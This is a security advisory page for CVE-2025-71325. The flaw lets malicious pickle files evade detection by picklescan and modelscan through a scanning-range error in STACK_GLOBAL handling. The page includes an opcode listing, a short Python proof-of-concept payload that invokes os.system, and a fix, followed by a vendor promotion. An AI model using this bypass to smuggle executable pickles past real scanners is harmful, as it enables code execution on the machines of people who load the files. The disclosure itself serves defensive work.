🛡️ CVE-2025-71325 — picklescan

🔴 CVSS 9.8 — Critical ✅ No Known Exploit CWE-502 NVD
9.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass

Details

There's a parsing logic error in picklescan and modelscan while trying to deal with opcode STACK_GLOBAL.

Function _list_globals when handling STACK_GLOBAL at position n, it is expected to track two arguments but in wrong range. The loop only consider the range from 1 to n-1 but forgets to consider the opcode at position 0. The correct range should be 0 to n-1. Attacker can put arg in position 0, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.

Example:

```

0: S STRING 'os' --> arg 0: STRING (untracked argument due to wrong scanning range)

6: S STRING 'system' --> arg 1: STRING (tracked argument)

16: \x93 STACK_GLOBAL

17: S STRING 'ls'

23: \x85 TUPLE1

24: R REDUCE

25: . STOP

```

PoC

``` python

import pickle

payload = b"S'os'\nS'system'\n\x93S'ls'\n\x85R."

with open('bad_pickle.pkl', 'wb') as f:

f.write(payload)

pickle.load(open('bad_pickle.pkl', 'rb'))

```

Impact

Detection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection.

Fix

To fix the range here, change range(1, n) to range(1, n+1) to ensure that n-offset stays within the range of 0 to n.

https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

CVE-2025-71325 is classified as CWE-502: Deserialization of Untrusted Data. Serialised data from an untrusted source is reconstructed into objects, which can trigger code during the process.

Affected software

CVE-2025-71325 is recorded against 2 packages.

  • picklescan (fixed in 0.0.27)
  • unknown

Timeline and source

Published on 12 August 2025 and last revised on 7 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
github.com (Web)
github.com (Web)
www.vulncheck.com (Web)

Details

Severity HIGH
CVSS Score 9.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-502
Public Exploit ✅ No
Source NVD
Published 2025-08-12
Updated 2026-08-12
Modified 2026-07-07
Fix URL N/A

Affected Packages

Software From version Fixed in
picklescan 0.0.27
unknown

References

Similar Threats

Exploit Protection

Are you running picklescan?

CVE-2025-71325 carries CVSS 9.8 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2025-71325 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2025